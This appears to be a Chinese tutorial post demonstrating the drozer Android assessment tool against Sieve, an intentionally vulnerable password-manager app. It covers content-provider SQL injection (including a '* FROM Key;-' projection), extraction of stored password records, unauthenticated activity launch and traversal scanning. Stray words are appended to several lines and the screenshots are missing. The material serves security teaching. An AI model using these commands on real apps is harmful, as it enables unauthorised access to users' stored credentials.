Drozer--AndroidApp安全評估工具

0x00:前言java

  Android中的app其實存在着不少應用缺陷,不少時候都須要對其進行安全評估,drozer就是其中一個很好的工具。這裏用到一個app是sieve(一個密碼管理器),它自己存在的缺陷就能夠做爲測試的樣本。android

 

0x01:數據庫

  安裝sieve後進去配置好密碼,PIN碼後,隨便添加一個須要管理密碼的信息windows

  

 

0x02:安裝drozer安全

  tips:個人平臺是windows,安裝時有幾個坑app

  下載了drozer後安裝,跟進到drozer目錄下運行drozer.bat,顯示以下便是安裝成功tcp

  

  接着在下載的drozer文件夾裏面有個agent.apk文件,將其安裝到手機上並運行以下ide

  

  而後adb forward tcp:31415 tcp:31415轉發一下工具

  

  接着運行drozer console connect的時候會顯示以下測試

  

  解決方案:

    在drozer目錄下建立一個.drozer_config文件(windows下沒法直接建立.開頭的文件,方法爲先建立一個1.drozer_config文件,再用rename命令修改)

    其中添加如下幾行(其中爲java和javac的路徑)

    [executables]
    java=F:\Java\jdk1.8.0_66\bin\java.exe
    javac=F:\Java\jdk1.8.0_66\bin\javac.exe

    建立後再運行,顯示以下即運行成功

    (若是出現Erron 10061或者Erron 10054,解決方法請見:http://blog.csdn.net/ksr12333/article/details/39181057)

  

 

0x03:演示drozer如何評估app

 (1)首先能夠列出全部包名run app.package.list -f sieve  這裏就不所有列出了,用-f關鍵字能夠篩選你想測試的app

  

  獲取基本信息(例如:sieve版本,權限信息,用戶ID,組ID,數據目錄等)

  run app.package.info -a com.mwr.example.sieve

  

 (2)Itentify the Attack Surface(確認攻擊面) run app.package.attacksurface com.mwr.example.sieve

  

  debuggable就可讓咱們用adb綁定來監測該app

  接着獲取該Attack Surface的信息  run app.activity.info -a com.mwr.example.sieve

  

  啓動Activity run app.activity.start –-component com.mwr.example.sieve com.mwr.example.sieve.PWList(PWList一看就是password列表一類的包,因此運行它)

  

 (3)進行SQL注入

  用projectionselection參數能夠將SQL語句注入到Content Provider中

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection ""

  

  這裏報錯就表示能夠注入。繼續run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection ""

  

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;-"命令能夠選擇具體須要列出的表。

  這是基於Android操做系統建議使用SQLite數據庫存儲用戶數據。SQLite數據庫使用SQL語句,因此能夠進行SQL注入。

 (4)從Content Provider中獲取信息

  run app.provider.info -a com.mwr.example.sieve

  

  能夠看到Content Provider的具體信息,權限等等

  查看Content ProviderURI(數據泄露)

  run scanner.provider.finduris -a com.mwr.example.sieve

  

  咱們嘗試查看具體信息 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –-vertical

  

  能夠看到加密的密碼以及設置的信息

 (5)檢測是否存在遍歷文件漏洞

  run scanner.provider.traversal -a com.mwr.example.sieve

  

  上面的部分比較簡單的演示了drozer的基本用法,更加詳細的請見官方文檔:

  https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

  

0x04:總結

  drozer強大的評估功能(SQL注入檢測、Content Provider檢測、遍歷文件漏洞、以及根據漏洞捕獲敏感信息)爲咱們在處理一個app時提供了很大的幫助,也但願藉此分享給全部熱愛Android安全的朋友。若是有什麼地方沒寫對,望不吝指正。

 

0x05:參考

  drozer對android應用進行安全評估

相關文章
相關標籤/搜索